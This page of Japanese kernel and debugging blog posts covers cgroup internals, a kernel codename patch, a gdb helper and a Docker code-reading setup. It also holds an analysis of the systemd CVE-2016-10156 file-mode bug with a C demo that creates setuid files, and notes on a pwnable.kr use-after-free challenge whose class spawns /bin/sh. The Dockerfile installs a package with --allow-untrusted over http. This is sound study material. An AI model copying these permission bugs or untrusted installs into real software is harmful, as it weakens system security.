cgroupのv1とv2の切り分け的なところ

cgroupはv1とv2という2つの実装(と言っていいのか?)があってそれらはkernel/cgroup.cで一つのコードベースにまとまっているのでコード読んでで混乱するなーというところで、誰得なめもを。

特に、4.1とかのカーネルだとv2のコードはまだ正式版となってないけどマージはされていて、DEVELsane_behaviorというオプションを使うことでv2の機能が使えるようになってます(参考:

Linux 3.16 から試せる cgroup の単一階層構造 (1) - TenForward)。今はv2がちゃんと入っているのでこのオプションは不要で、cgroupのマウント時にcgroup v2としてマウントするかどうかで切り分けできます。cgroup_mount()のis_v2がそれです。

2083 static struct dentry *cgroup_mount(struct file_system_type *fs_type,
2084                          int flags, const char *unused_dev_name,
2085                          void *data)
2086 {
2087         bool is_v2 = fs_type == &cgroup2_fs_type;
2088         struct super_block *pinned_sb = NULL;
2089         struct cgroup_namespace *ns = current->nsproxy->cgroup_ns;
2090         struct cgroup_subsys *ss;
2091         struct cgroup_root *root;

v1とv2は階層構造が違うんですが、どちらの構造を見せるかという判定には古めのカーネルならcgrp_dfl_root_visible変数、v2が正式に入ってからならcgrp_dfl_visible変数を使います。これはbool値を格納する変数で、trueならv2の構成を見せます。これらの変数の値を設定するのはcgroup_mount()です。

4.1の場合は以下のようにDEVELsane_behaviorオプションが設定されている場合にtrueをセットします。

1763         /* look for a matching existing root */
1764         if (opts.flags & CGRP_ROOT_SANE_BEHAVIOR) {
1765                 cgrp_dfl_root_visible = true;
1766                 root = &cgrp_dfl_root;
1767                 cgroup_get(&root->cgrp);
1768                 ret = 0;
1769                 goto out_unlock;
1770         }

4.10の場合はcgroup_mountの最初で設定したis_v2がtrueの場合(cgroup v2のファイルシステムをマウントする時)に設定します。

2113         if (is_v2) {
2114                 if (data) {
2115                         pr_err("cgroup2: unknown option \"%s\"\n", (char *)data);
2116                         put_cgroup_ns(ns);
2117                         return ERR_PTR(-EINVAL);
2118                 }
2119                 cgrp_dfl_visible = true;
2120                 root = &cgrp_dfl_root;
2121                 cgroup_get(&root->cgrp);
2122                 goto out_mount;
2123         }

この変数を使っているところは1箇所だけで、proc_cgroup_show()です。この関数は何をやっているかというと/proc//cgroupファイルの中身を表示します。ファイルの中身はこのような感じです。

masami@saga:~$ cat /proc/self/cgroup
11:pids:/user.slice/user-1000.slice/user@1000.service
10:cpuset:/
9:blkio:/
8:net_cls,net_prio:/
7:hugetlb:/
6:perf_event:/
5:cpu,cpuacct:/
4:devices:/user.slice
3:freezer:/
2:memory:/
1:name=systemd:/user.slice/user-1000.slice/user@1000.service/gnome-terminal-server.service

4.1も4.10カーネルもproc_cgroup_show()の以下のところで使ってます。

5111                 if (root == &cgrp_dfl_root && !cgrp_dfl_root_visible)
5112                         continue;

ここで出てくるcgrp_dfl_rootはstaticな変数です。

144 struct cgroup_root cgrp_dfl_root;

4.1の場合、cgroup_init_early()init_cgroup_root()を呼び出して最初の初期化しています。

4952 int __init cgroup_init_early(void)
4953 {
4954         static struct cgroup_sb_opts __initdata opts;
4955         struct cgroup_subsys *ss;
4956         int i;
4957 
4958         init_cgroup_root(&cgrp_dfl_root, &opts);
4959         cgrp_dfl_root.cgrp.self.flags |= CSS_NO_REF;

init_cgroup_root()ではcgrp_dfl_rootのメンバ変数cgrpを対象に初期化してます。

1624 static void init_cgroup_root(struct cgroup_root *root,
1625                              struct cgroup_sb_opts *opts)
1626 {
1627         struct cgroup *cgrp = &root->cgrp;
1628 
1629         INIT_LIST_HEAD(&root->root_list);
1630         atomic_set(&root->nr_cgrps, 1);
1631         cgrp->root = root;
1632         init_cgroup_housekeeping(cgrp);
1633         idr_init(&root->cgroup_idr);
1634 
1635         root->flags = opts->flags;
1636         if (opts->release_agent)
1637                 strcpy(root->release_agent_path, opts->release_agent);
1638         if (opts->name)
1639                 strcpy(root->name, opts->name);
1640         if (opts->cpuset_clone_children)
1641                 set_bit(CGRP_CPUSET_CLONE_CHILDREN, &root->cgrp.flags);
1642 }

次に、cgroup_init()でさらなる設定が入ります。ここではcgroup_setup_root()でcgroup本体(という言い方で良いのか?)を行っていて、cgroup_init()ではcgroupのサブシステムに関する設定を行っています。

( ´ー`)フゥー...

Linuxシステム[実践]入門 (Software Design plus)

Linuxシステム[実践]入門 (Software Design plus)

Linuxカーネルのコードネームの扱いが不憫なので/proc/sys/kernel/codenameで読めるようにした

たぶん、この辺の会話から

この記事に繋がってたりするのかな?なんて思ったりということで、

さらに話を続けてみてですね、こんなpatchを書きました。4.10.0-rc6がベースのカーネルです。

diff --git a/Makefile b/Makefile
index 96b27a8..6c3f392 100644
--- a/Makefile
+++ b/Makefile
@@ -1024,6 +1024,7 @@ endif
 prepare2: prepare3 prepare-compiler-check outputmakefile asm-generic

 prepare1: prepare2 $(version_h) include/generated/utsrelease.h \
+                   include/generated/utscodename.h \
                    include/config/auto.conf
        $(cmd_crmodverdir)

@@ -1097,6 +1098,10 @@ define filechk_version.h
        echo '#define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))';)
 endef

+define filechk_utscodename.h
+       (echo \#define UTS_CODENAME \"$(NAME)\";)
+endef
+
 $(version_h): $(srctree)/Makefile FORCE
        $(call filechk,version.h)
        $(Q)rm -f $(old_version_h)
@@ -1104,6 +1109,9 @@ $(version_h): $(srctree)/Makefile FORCE
 include/generated/utsrelease.h: include/config/kernel.release FORCE
        $(call filechk,utsrelease.h)

+include/generated/utscodename.h: $(srctree)/Makefile FORCE
+       $(call filechk,utscodename.h)
+
 PHONY += headerdep
 headerdep:
        $(Q)find $(srctree)/include/ -name '*.h' | xargs --max-args 1 \
diff --git a/init/version.c b/init/version.c
index fe41a63..82fde8f 100644
--- a/init/version.c
+++ b/init/version.c
@@ -11,6 +11,7 @@
 #include <linux/uts.h>
 #include <linux/utsname.h>
 #include <generated/utsrelease.h>
+#include <generated/utscodename.h>
 #include <linux/version.h>
 #include <linux/proc_ns.h>

@@ -45,7 +46,7 @@ EXPORT_SYMBOL_GPL(init_uts_ns);
 /* FIXED STRINGS! Don't touch! */
 const char linux_banner[] =
        "Linux version " UTS_RELEASE " (" LINUX_COMPILE_BY "@"
-       LINUX_COMPILE_HOST ") (" LINUX_COMPILER ") " UTS_VERSION "\n";
+       LINUX_COMPILE_HOST ") (" LINUX_COMPILER ") " UTS_VERSION UTS_CODENAME "\n";

 const char linux_proc_banner[] =
        "%s version %s"
diff --git a/kernel/utsname_sysctl.c b/kernel/utsname_sysctl.c
index c8eac43..8f3c12a 100644
--- a/kernel/utsname_sysctl.c
+++ b/kernel/utsname_sysctl.c
@@ -14,6 +14,7 @@
 #include <linux/utsname.h>
 #include <linux/sysctl.h>
 #include <linux/wait.h>
+#include <generated/utscodename.h>

 #ifdef CONFIG_PROC_SYSCTL

@@ -104,6 +105,13 @@ static struct ctl_table uts_kern_table[] = {
                .proc_handler   = proc_do_uts_string,
                .poll           = &domainname_poll,
        },
+       {
+               .procname       = "codename",
+               .data           = UTS_CODENAME,
+               .maxlen         = sizeof(UTS_CODENAME),
+               .mode           = 0444,
+               .proc_handler   = proc_do_uts_string,
+       },
        {}
 };

差分的にはこんな感じです。

masami@kerntest:~/linux-kernel (codename *)$ diffstat ../codename.patch
 Makefile                |    8 ++++++++
 init/version.c          |    3 ++-
 kernel/utsname_sysctl.c |    8 ++++++++
 3 files changed, 18 insertions(+), 1 deletion(-)

こうすると、dmesgの一番先頭、ビルド時刻の後ろにコードネーム(Fearless Coyote)がついてます。

masami@kerntest:~/linux-kernel (codename *)$ dmesg | head -n 1
[    0.000000] Linux version 4.10.0-rc6-ktest+ (masami@kerntest) (gcc version 6.3.1 20161221 (Red Hat 6.3.1-1) (GCC) ) #7 SMP Wed Feb 1 00:03:08 JST 2017Fearless Coyote

あと、/proc/sys/kernel/codenameファイルを作ってそれを読むこともできます。

masami@kerntest:~/linux-kernel (codename *)$ cat /proc/sys/kernel/codename
Fearless Coyote

これで起動中のカーネルのコードネームを確認できるようになりましたヽ(=´▽`=)ノ

だがしかし、new_utsname構造体に値を追加したらさすがにABIをぶち壊したようでブートできなかったので、unameで確認するのは諦めました/(^o^)\

systemd: 228のlocal exploit(CVE-2016-10156)めも

systemd 228にlocal exploitがあったようなのでどんなバグだったのかをメモします。脆弱性の説明は、Headsup: systemd v228 local root exploit (CVE-2016-10156)に書かれてました。CVEはCVE-2016-10156です。

ちなみに、fedora 25のsystemdは201701/24時点で231です。

修正patchはbasic: fix touch() creating files with 07777 mode · systemd/systemd@06eeacb · GitHubです。 修正は以下のようになってます。

-        fd = open(path, O_WRONLY|O_CREAT|O_CLOEXEC|O_NOCTTY, mode > 0 ? mode : 0644);
+        fd = open(path, O_WRONLY|O_CREAT|O_CLOEXEC|O_NOCTTY,
+                        (mode == 0 || mode == MODE_INVALID) ? 0644 : mode);

修正された関数はbasic/fs-util.cのtouch_file()です。この関数はtouch()から呼ばれます。

int touch(const char *path) {
        return touch_file(path, false, USEC_INFINITY, UID_INVALID, GID_INVALID, MODE_INVALID);

修正前のコードではmode > 0としてmodeの値を比較していますが、この変数は符号なしなのでこの条件は常にtrueになります。

mode_tは/usr/include/sys/types.hでこうなっていて、

#ifndef __mode_t_defined
typedef __mode_t mode_t;
# define __mode_t_defined
#endif

/usr/include/bits/types.hでは__MODE_T_TYPEとなってます。

__STD_TYPE __MODE_T_TYPE __mode_t;      /* Type of file attribute bitmasks.  */

/usr/include/bits/typesize.hでこのようになり、

#define __MODE_T_TYPE           __U32_TYPE

/usr/include/bits/types.hでこのように定義されてます。

#define __U32_TYPE              unsigned int

というわけでmode > 0は常に真になるからmodeがそのまま使われます。

つぎに、modeですが、これはtouch()がMODE_INVALIDを渡しています。MODE_INVALIDはsrc/basic/parse-util.hで以下のように定義されています。

#define MODE_INVALID ((mode_t) -1)

mode_tは符号なしなので、全bitが立ちますね。 なのでこんな感じのファイルが作れるからどのようなファイルを作るかによっては・・・(´・ω・`)

masami@saga:~$ cat mode_test.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>

int main(int argc, char **argv)
{
        mode_t mode = (mode_t) -1;
        int fd = open("mode_test", O_CREAT | O_RDWR, mode);

        if (fd < 0) {
                perror("open");
                return -1;
        }
        close(fd);
        return 0;
}
masami@saga:~$ gcc mode_test.c
masami@saga:~$ ./a.out
masami@saga:~$ ls -la mode_test
-rwsrwsr-t. 1 masami masami 0 Jan 25 00:12 mode_test*
masami@saga:~$

バグの内容としては変数の型を間違えたから条件文で正しく処理できてないかったというところですが、そこからこういった脆弱性になるわけですねφ(..)メモメモ

( ´ー`)フゥー...

gdbでアドレスが指す先のアドレスをdereferenceするコマンドを作った

gdbであるアドレスがアドレスを指している場合のdereferenceを簡単にやりたかったのでpythonでコマンド作ってみました。

これは例えばcのコードがこうで、

void func(char *p) 
{
        printf("[*] %s\n", p);
}

func()のディスアセンブル結果にこのような処理があるとします。

   0x000000000040066e <+8>:     mov    %rdi,-0x8(%rbp)

このとき、rbp - 8のアドレスは0x7fffffffdc68で、ここはアドレス0x0000000000602010を指しています。

(gdb) x/gx $rbp - 8
0x7fffffffdc68: 0x0000000000602010

このアドレスが指す内容は以下のようにしてdereferenceできますが、ちょっと面倒ですよね。

(gdb) x/s *(char **) ($rbp - 0x8)
0x602010:       "test"

ということで、作ったのがこちらです。

github.com

xコマンドのシンタックスを使う感じでdgp s $rbp - 8というように使えます。

f:id:masami256:20170108223631p:plain

その他、こんな感じです。

(gdb) dgp s $rbp - 8                                                                                                                                                                                               
[*]execute: x/gx $rbp - 8
[*]execute: x/s 0x0000000000602010
0x602010:       "test"

(gdb) dgp 4c $rbp - 8
[*]execute: x/gx $rbp - 8
[*]execute: x/4c 0x0000000000602010
0x602010:       116 't' 101 'e' 115 's' 116 't'

(gdb) dgp 4s $rbp - 8
[*]execute: x/gx $rbp - 8
[*]execute: x/4s 0x0000000000602010
0x602010:       "test"
0x602015:       ""
0x602016:       ""
0x602017:       ""

(gdb) dgp wx $rbp
[*]execute: x/gx $rbp + 0
[*]execute: x/wx 0x00007fffffffdca0
0x7fffffffdca0: 0x00400720

pythongdbの拡張できるの便利ですね〜

( ´ー`)フゥー...

c++で書かれたコードのアセンブリの読み方めも

http://pwnable.kr/play.phpのuafがc++で書かれていたので読む必要が有ったので今後のためにもメモ程度に覚書を。今回はgdbのdisasとかobjdumpでアセンブリを読む時にnewはどのように呼んでいるるのかとかのめもです。

読んでいるバイナリのタイプはLinuxのELF64です。 基本的にはcHumanというクラスが有って、このクラスを継承したManとWomanというクラスがあります。main関数では最初にManとWomanのクラスのインスタンスをnewして作成します。そして、virtual関数のintroduce()を呼びます。

やっている処理のc++のコードを単純に書くとこんな感じになります。

Human *m = new Man("hoge", 1);
m->introduce();

Humanクラスはこのようなクラスです。

class Human{
private:
    virtual void give_shell(){
        system("/bin/sh");
    }
protected:
    int age;
    string name;
public:
    virtual void introduce(){
        cout << "My name is " << name << endl;
        cout << "I am " << age << " years old" << endl;
    }
};

main関数のディスアセンブル結果はこちらです。

0000000000400ec4 <main>:
  400ec4:   55                     push   %rbp
  400ec5:   48 89 e5               mov    %rsp,%rbp
  400ec8:   41 54                 push   %r12
  400eca:   53                     push   %rbx
  400ecb:   48 83 ec 50           sub    $0x50,%rsp
  400ecf:   89 7d ac                mov    %edi,-0x54(%rbp)
  400ed2:   48 89 75 a0           mov    %rsi,-0x60(%rbp)
  400ed6:   48 8d 45 ee            lea    -0x12(%rbp),%rax
  400eda:   48 89 c7               mov    %rax,%rdi
  400edd:   e8 8e fe ff ff          callq  400d70 <_ZNSaIcEC1Ev@plt>
  400ee2:   48 8d 55 ee            lea    -0x12(%rbp),%rdx
  400ee6:   48 8d 45 b0            lea    -0x50(%rbp),%rax
  400eea:   be f0 14 40 00         mov    $0x4014f0,%esi
  400eef:   48 89 c7               mov    %rax,%rdi
  400ef2:   e8 19 fe ff ff         callq  400d10 <_ZNSsC1EPKcRKSaIcE@plt>
  400ef7:   4c 8d 65 b0             lea    -0x50(%rbp),%r12
  400efb:   bf 18 00 00 00         mov    $0x18,%edi
  400f00:   e8 8b fe ff ff          callq  400d90 <_Znwm@plt>
  400f05:   48 89 c3               mov    %rax,%rbx
  400f08:   ba 19 00 00 00         mov    $0x19,%edx
  400f0d:   4c 89 e6                mov    %r12,%rsi
  400f10:   48 89 df               mov    %rbx,%rdi
  400f13:   e8 4c 03 00 00          callq  401264 <_ZN3ManC1ESsi>
  400f18:   48 89 5d c8            mov    %rbx,-0x38(%rbp)
  400f1c:   48 8d 45 b0            lea    -0x50(%rbp),%rax
  400f20:   48 89 c7               mov    %rax,%rdi
  400f23:   e8 d8 fd ff ff           callq  400d00 <_ZNSsD1Ev@plt>
  400f28:   48 8d 45 ee            lea    -0x12(%rbp),%rax
  400f2c:   48 89 c7               mov    %rax,%rdi
  400f2f:   e8 0c fe ff ff           callq  400d40 <_ZNSaIcED1Ev@plt>
  400f34:   48 8d 45 ef            lea    -0x11(%rbp),%rax
  400f38:   48 89 c7               mov    %rax,%rdi
  400f3b:   e8 30 fe ff ff         callq  400d70 <_ZNSaIcEC1Ev@plt>
  400f40:   48 8d 55 ef            lea    -0x11(%rbp),%rdx
  400f44:   48 8d 45 c0            lea    -0x40(%rbp),%rax
  400f48:   be f5 14 40 00         mov    $0x4014f5,%esi
  400f4d:   48 89 c7               mov    %rax,%rdi
  400f50:   e8 bb fd ff ff           callq  400d10 <_ZNSsC1EPKcRKSaIcE@plt>
  400f55:   4c 8d 65 c0             lea    -0x40(%rbp),%r12
  400f59:   bf 18 00 00 00         mov    $0x18,%edi
  400f5e:   e8 2d fe ff ff          callq  400d90 <_Znwm@plt>
  400f63:   48 89 c3               mov    %rax,%rbx
  400f66:   ba 15 00 00 00         mov    $0x15,%edx
  400f6b:   4c 89 e6                mov    %r12,%rsi
  400f6e:   48 89 df               mov    %rbx,%rdi
  400f71:   e8 92 03 00 00         callq  401308 <_ZN5WomanC1ESsi>
  400f76:   48 89 5d d0            mov    %rbx,-0x30(%rbp)
  400f7a:   48 8d 45 c0            lea    -0x40(%rbp),%rax
  400f7e:   48 89 c7               mov    %rax,%rdi
  400f81:   e8 7a fd ff ff          callq  400d00 <_ZNSsD1Ev@plt>
  400f86:   48 8d 45 ef            lea    -0x11(%rbp),%rax
  400f8a:   48 89 c7               mov    %rax,%rdi
  400f8d:   e8 ae fd ff ff           callq  400d40 <_ZNSaIcED1Ev@plt>
  400f92:   be fa 14 40 00         mov    $0x4014fa,%esi
  400f97:   bf 60 22 60 00           mov    $0x602260,%edi
  400f9c:   e8 4f fd ff ff          callq  400cf0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
  400fa1:   48 8d 45 e8            lea    -0x18(%rbp),%rax
  400fa5:   48 89 c6               mov    %rax,%rsi
  400fa8:   bf e0 20 60 00         mov    $0x6020e0,%edi
  400fad:   e8 1e fe ff ff          callq  400dd0 <_ZNSirsERj@plt>
  400fb2:   8b 45 e8                mov    -0x18(%rbp),%eax
  400fb5:   83 f8 02               cmp    $0x2,%eax
  400fb8:   74 46                 je     401000 <main+0x13c>
  400fba:   83 f8 03               cmp    $0x3,%eax
  400fbd:   0f 84 b3 00 00 00       je     401076 <main+0x1b2>
  400fc3:   83 f8 01               cmp    $0x1,%eax
  400fc6:   74 05                 je     400fcd <main+0x109>
  400fc8:   e9 dc 00 00 00           jmpq   4010a9 <main+0x1e5>
  400fcd:   48 8b 45 c8            mov    -0x38(%rbp),%rax
  400fd1:   48 8b 00              mov    (%rax),%rax
  400fd4:   48 83 c0 08           add    $0x8,%rax
  400fd8:   48 8b 10              mov    (%rax),%rdx
  400fdb:   48 8b 45 c8            mov    -0x38(%rbp),%rax
  400fdf:   48 89 c7               mov    %rax,%rdi
  400fe2:   ff d2                 callq  *%rdx
  400fe4:   48 8b 45 d0            mov    -0x30(%rbp),%rax
  400fe8:   48 8b 00              mov    (%rax),%rax
  400feb:   48 83 c0 08           add    $0x8,%rax
  400fef:   48 8b 10              mov    (%rax),%rdx
  400ff2:   48 8b 45 d0            mov    -0x30(%rbp),%rax
  400ff6:   48 89 c7               mov    %rax,%rdi
  400ff9:   ff d2                 callq  *%rdx
  400ffb:   e9 a9 00 00 00           jmpq   4010a9 <main+0x1e5>
  401000:  48 8b 45 a0            mov    -0x60(%rbp),%rax
  401004:  48 83 c0 08           add    $0x8,%rax
  401008:  48 8b 00              mov    (%rax),%rax
  40100b:   48 89 c7               mov    %rax,%rdi
  40100e:   e8 0d fd ff ff           callq  400d20 <atoi@plt>
  401013:  48 98                 cltq   
  401015:  48 89 45 d8           mov    %rax,-0x28(%rbp)
  401019:  48 8b 45 d8            mov    -0x28(%rbp),%rax
  40101d:   48 89 c7               mov    %rax,%rdi
  401020:  e8 4b fc ff ff          callq  400c70 <_Znam@plt>
  401025:  48 89 45 e0           mov    %rax,-0x20(%rbp)
  401029:  48 8b 45 a0            mov    -0x60(%rbp),%rax
  40102d:   48 83 c0 10           add    $0x10,%rax
  401031:  48 8b 00              mov    (%rax),%rax
  401034:  be 00 00 00 00          mov    $0x0,%esi
  401039:  48 89 c7               mov    %rax,%rdi
  40103c:   b8 00 00 00 00          mov    $0x0,%eax
  401041:  e8 7a fd ff ff          callq  400dc0 <open@plt>
  401046:  48 8b 55 d8            mov    -0x28(%rbp),%rdx
  40104a:   48 8b 4d e0             mov    -0x20(%rbp),%rcx
  40104e:   48 89 ce               mov    %rcx,%rsi
  401051:  89 c7                   mov    %eax,%edi
  401053:  e8 48 fc ff ff         callq  400ca0 <read@plt>
  401058:  be 13 15 40 00           mov    $0x401513,%esi
  40105d:   bf 60 22 60 00           mov    $0x602260,%edi
  401062:  e8 89 fc ff ff         callq  400cf0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
  401067:  be 60 0d 40 00         mov    $0x400d60,%esi
  40106c:   48 89 c7               mov    %rax,%rdi
  40106f:   e8 dc fc ff ff           callq  400d50 <_ZNSolsEPFRSoS_E@plt>
  401074:  eb 33                   jmp    4010a9 <main+0x1e5>
  401076:  48 8b 5d c8             mov    -0x38(%rbp),%rbx
  40107a:   48 85 db               test   %rbx,%rbx
  40107d:   74 10                 je     40108f <main+0x1cb>
  40107f:   48 89 df               mov    %rbx,%rdi
  401082:  e8 b3 01 00 00           callq  40123a <_ZN5HumanD1Ev>
  401087:  48 89 df               mov    %rbx,%rdi
  40108a:   e8 f1 fb ff ff           callq  400c80 <_ZdlPv@plt>
  40108f:   48 8b 5d d0             mov    -0x30(%rbp),%rbx
  401093:  48 85 db               test   %rbx,%rbx
  401096:  74 10                 je     4010a8 <main+0x1e4>
  401098:  48 89 df               mov    %rbx,%rdi
  40109b:   e8 9a 01 00 00          callq  40123a <_ZN5HumanD1Ev>
  4010a0:   48 89 df               mov    %rbx,%rdi
  4010a3:   e8 d8 fb ff ff           callq  400c80 <_ZdlPv@plt>
  4010a8:   90                     nop
  4010a9:   e9 e4 fe ff ff           jmpq   400f92 <main+0xce>
  4010ae:   49 89 c4               mov    %rax,%r12
  4010b1:   48 89 df               mov    %rbx,%rdi
  4010b4:   e8 c7 fb ff ff           callq  400c80 <_ZdlPv@plt>
  4010b9:   4c 89 e3                mov    %r12,%rbx
  4010bc:   eb 03                   jmp    4010c1 <main+0x1fd>
  4010be:   48 89 c3               mov    %rax,%rbx
  4010c1:   48 8d 45 b0            lea    -0x50(%rbp),%rax
  4010c5:   48 89 c7               mov    %rax,%rdi
  4010c8:   e8 33 fc ff ff         callq  400d00 <_ZNSsD1Ev@plt>
  4010cd:   eb 03                   jmp    4010d2 <main+0x20e>
  4010cf:   48 89 c3               mov    %rax,%rbx
  4010d2:   48 8d 45 ee            lea    -0x12(%rbp),%rax
  4010d6:   48 89 c7               mov    %rax,%rdi
  4010d9:   e8 62 fc ff ff         callq  400d40 <_ZNSaIcED1Ev@plt>
  4010de:   48 89 d8               mov    %rbx,%rax
  4010e1:   48 89 c7               mov    %rax,%rdi
  4010e4:   e8 b7 fc ff ff           callq  400da0 <_Unwind_Resume@plt>
  4010e9:   49 89 c4               mov    %rax,%r12
  4010ec:   48 89 df               mov    %rbx,%rdi
  4010ef:   e8 8c fb ff ff          callq  400c80 <_ZdlPv@plt>
  4010f4:   4c 89 e3                mov    %r12,%rbx
  4010f7:   eb 03                   jmp    4010fc <main+0x238>
  4010f9:   48 89 c3               mov    %rax,%rbx
  4010fc:   48 8d 45 c0            lea    -0x40(%rbp),%rax
  401100:  48 89 c7               mov    %rax,%rdi
  401103:  e8 f8 fb ff ff           callq  400d00 <_ZNSsD1Ev@plt>
  401108:  eb 03                   jmp    40110d <main+0x249>
  40110a:   48 89 c3               mov    %rax,%rbx
  40110d:   48 8d 45 ef            lea    -0x11(%rbp),%rax
  401111:  48 89 c7               mov    %rax,%rdi
  401114:  e8 27 fc ff ff         callq  400d40 <_ZNSaIcED1Ev@plt>
  401119:  48 89 d8               mov    %rbx,%rax
  40111c:   48 89 c7               mov    %rax,%rdi
  40111f:   e8 7c fc ff ff          callq  400da0 <_Unwind_Resume@plt>

c++のクラスのインスタン生成時の細かい挙動はわからないんですが(´・ω・`)、newしているのは↓の部分です。

  400f59:    bf 18 00 00 00         mov    $0x18,%edi
  400f5e:   e8 2d fe ff ff          callq  400d90 <_Znwm@plt>

stackoverflowによると、_Znwmがnewで、

operator new(unsigned long)

_Znamがnew[]のようです。

operator new[](unsigned long)

今回のコード以下のような処理なので、前者の方を使ってます。サイズとして0x18を渡しています。

  400f59:    bf 18 00 00 00         mov    $0x18,%edi
  400f5e:   e8 2d fe ff ff          callq  400d90 <_Znwm@plt>

newの呼び出しはこんな感じで、次にいって、virtual関数の呼び出し部分を見てみます。

m->introduce()をやっているのがこの部分です。

  400fcd:    48 8b 45 c8            mov    -0x38(%rbp),%rax
  400fd1:   48 8b 00              mov    (%rax),%rax
  400fd4:   48 83 c0 08           add    $0x8,%rax
  400fd8:   48 8b 10              mov    (%rax),%rdx
  400fdb:   48 8b 45 c8            mov    -0x38(%rbp),%rax
  400fdf:   48 89 c7               mov    %rax,%rdi
  400fe2:   ff d2                 callq  *%rdx

アドレス0x400fcdのところは変数mのアドレスををraxレジスタに入れます。 そして、0x400fd1でraxが指す先のアドレスがraxの値が入ります。0x400fd1を実行するとraxはgive_shell()のアドレスになります。そして、0x400fd4ではraxに8を足すのでintroduce()のアドレスを指すようになります。呼び出す関数の設定の最後にraxの指す先のアドレスをrdxにコピーします。 つぎに、再度mのアドレスをraxにコピーします。そして、それをそのままrdiに入れます。最後にrdxが指すアドレスにある関数を呼び出します。これでm->introduce()の呼び出しになります。

ちなみに、問題のほうは無事にクリアしてます(∩´∀`)∩ワーイ

f:id:masami256:20161225214740p:plain

レガシーコード改善ガイド

レガシーコード改善ガイド

Docker + GNU GLOBALで手軽にソースコードリーディング環境を作る

Kia Ora! この記事はプロ生ちゃん Advent Calendar 2016の16日目の記事です。 2015年bash-completionでコマンド補完するときにプロ生ちゃんに何か言ってもらう - φ(・・*)ゞ ウーン カーネルとか弄ったりのメモなんて記事を書きました。2014年はプロ生ちゃん Advent Calenderではないけど、 systemdでshutdown時にプロ生ちゃんに挨拶してもらう - φ(・・*)ゞ ウーン カーネルとか弄ったりのメモなんてネタを書いたりしました。

今年はすぱこー焼きそばソースを頂きました(∩´∀`)∩ワーイ

今年はプロ生ちゃん要素はこれくらいしかありません(´・ω・`)

では、気を取り直してタイトルを回収します。ソースコードリーディングする時にvimとかemacsならctags等を使ってタグジャンプとかしたりすると思います。ブラウザで動作するものだと Linux/ - Linux Cross Reference - Free Electronsで使っているLXR、またはGNU GLOBALなんかが有名かなと思います。今回はGNU GLOBALを使ってコードリーディング環境を作ります。

GNU GLOBALはgtagsとhtagsという2個のコマンドがあり、タギングに関してはgtagsが行います。htagsのほうはgtagsで作ったtagを解析してHTMLとして見れるようにするものです。なのでvim等のエディタで見る場合、gtagsだけも十分だったりします。ブラウザで見れるようにしたいという場合にhtagsの出番になります。 また、htagsで出力したHTMLファイルは関数名等にリンクが付くのでWEBサーバ無しで閲覧可能です。検索機能を使いたい場合はcgiを使うためWEBサーバが必要になります。 Dockerで環境作れるようにするとWEBサーバの設定とか楽だよねってなる感じですね。

今回はGNU Helloのソースを読む環境を作ってみます。ソースコードgitでcloneできます。

ディレクトリ構成はこのようになっています。cgiの実行にWEBサーバ必要なので、今回は手軽にapache2を選択しました。

global/ --- docker-compose.yml
        |-- Dockerfile
        |-- httpd.conf
        |-- hello/

Dockerfileはこうなります。ディストリビューションAlpine Linuxの最新です。選択理由は軽めなディストリビューションというところと、個人的な趣味です。Alpine LinuxはtestingリポジトリGNU GLOBALの最新バージョンがあるため、edge/testingを有効にしています。edge/testing以外のリポジトリにはGNU GLOBALはありません。その他は動作に必要なパッケージをインストールしてます。手軽に済ませたかったので1dockerファイル・1プロジェクト的になってますが、httpd.confの設定次第で複数のプロジェクトのコードを閲覧する環境にしても良いかと思います。 全文検索に使うcgiのファイルはperlとかglobalのパスが/usr/local/binを見ているので、/usr/bin/に直したりしてます。htagsのオプションはlinuxカーネル用に作ったときは「-anfvF」にしました。

FROM alpine:latest

RUN apk add global --update-cache --repository http://dl-3.alpinelinux.org/alpine/edge/testing/ --allow-untrusted && \
apk add py-pip ctags && \
apk add apache2 perl && \
pip install Pygments

RUN mkdir -p /opt/global && \
mkdir -p /run/apache2

COPY httpd.conf /etc/apache2/httpd.conf
COPY ./hello /opt/global/hello

WORKDIR /opt/global/hello

RUN gtags -v && \
htags -aosnfvF

RUN sed -i 's/\/opt\/local\/bin\/perl/\/usr\/bin\/perl/' HTML/cgi-bin/global.cgi
RUN sed -i 's/\/usr\/local\/bin\/global/\/usr\/bin\/global/' HTML/cgi-bin/global.cgi

CMD /usr/sbin/httpd -D FOREGROUND -f /etc/apache2/httpd.conf

docker-compose.ymlは特にこれと言ったことはしてません。

global:
  build: .
  ports:
    - 8080:80

httpd.confはそのまま貼り付けましたが、こんな感じです。

#
# This is the main Apache HTTP server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See <URL:http://httpd.apache.org/docs/2.4/> for detailed information.
# In particular, see
# <URL:http://httpd.apache.org/docs/2.4/mod/directives.html>
# for a discussion of each configuration directive.
#
# Do NOT simply read the instructions in here without understanding
# what they do.  They're here only as hints or reminders.  If you are unsure
# consult the online docs. You have been warned.
#
# Configuration and logfile names: If the filenames you specify for many
# of the server's control files begin with "/" (or "drive:/" for Win32), the
# server will use that explicit path.  If the filenames do *not* begin
# with "/", the value of ServerRoot is prepended -- so "logs/access_log"
# with ServerRoot set to "/usr/local/apache2" will be interpreted by the
# server as "/usr/local/apache2/logs/access_log", whereas "/logs/access_log"
# will be interpreted as '/logs/access_log'.

#
# ServerTokens
# This directive configures what you return as the Server HTTP response
# Header. The default is 'Full' which sends information about the OS-Type
# and compiled in modules.
# Set to one of:  Full | OS | Minor | Minimal | Major | Prod
# where Full conveys the most information, and Prod the least.
#
ServerTokens OS

#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# Do not add a slash at the end of the directory path.  If you point
# ServerRoot at a non-local disk, be sure to specify a local disk on the
# Mutex directive, if file-based mutexes are used.  If you wish to share the
# same ServerRoot for multiple httpd daemons, you will need to change at
# least PidFile.
#
ServerRoot /var/www

#
# Mutex: Allows you to set the mutex mechanism and mutex file directory
# for individual mutexes, or change the global defaults
#
# Uncomment and change the directory if mutexes are file-based and the default
# mutex file directory is not on a local disk or is not appropriate for some
# other reason.
#
# Mutex default:/run/apache2

#
# Listen: Allows you to bind Apache to specific IP addresses and/or
# ports, instead of the default. See also the <VirtualHost>
# directive.
#
# Change this to Listen on specific IP addresses as shown below to
# prevent Apache from glomming onto all bound IP addresses.
#
#Listen 12.34.56.78:80
